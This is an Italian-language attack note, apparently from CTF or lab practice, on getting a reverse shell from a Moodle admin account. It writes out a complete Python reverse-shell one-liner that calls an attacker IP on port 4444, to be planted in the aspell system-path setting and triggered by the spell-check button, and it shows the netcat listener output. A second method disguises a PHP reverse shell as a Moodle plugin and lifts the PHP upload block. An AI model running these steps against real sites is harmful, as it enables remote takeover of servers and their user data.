tags: Moodle reverse_shell CMS


Metodo 1

Per caricare una reverse shell dobbiamo prima andare nella sezione Site administration → Server → System paths, in questa pagina vedrai vari percorsi di sistema (es. Path to du, Path to dot). Cerca il campo: Path to aspell. Dovrebbe contenere qualcosa come /usr/bin/aspell.

Sostituisci il file con una reverse shell Python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.xx.xx.xx",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ora prova a caricare un post come blog, formu, ecc, l’importante è che abbia la possibilità di modicare il testo in stile Microsoft Word. Una volta trovato questo tipo di form clicca sulla icona del controllo dell’ortografia ABC:

Non appena clicchi su quell’icona ti apparirà una reverse shell dove sei in ascolto con Netcat:

nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.82.187.162 39094
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Metodo 2

Se il metodo Aspell non funziona o preferisci caricare un file fisico:

  1. Sblocca i permessi: Vai su Site administration → Security → Site policies. Cerca l’opzione “Enable execution paths” (o simile) e controlla se puoi abilitarla. Soprattutto, cerca la lista delle estensioni bloccate o permesse. Se vedi .php tra i file proibiti, rimuovilo.

  2. Installa un Plugin Malevolo: Gli admin possono installare plugin .zip.

    • Prendi la tua reverse shell PHP (php-reverse-shell.php).

    • Inseriscila in una cartella chiamata block_shell.

    • Crea un file version.php minimale (copialo da un altro plugin Moodle) per farlo sembrare legittimo.

    • Zippa la cartella.

    • Vai su Site administration → Plugins → Install plugins e carica lo zip.

    • Se l’installazione parte, lo script PHP verrà estratto nella cartella /blocks/block_shell/shell.php (o simile) e potrai richiamarlo via browser.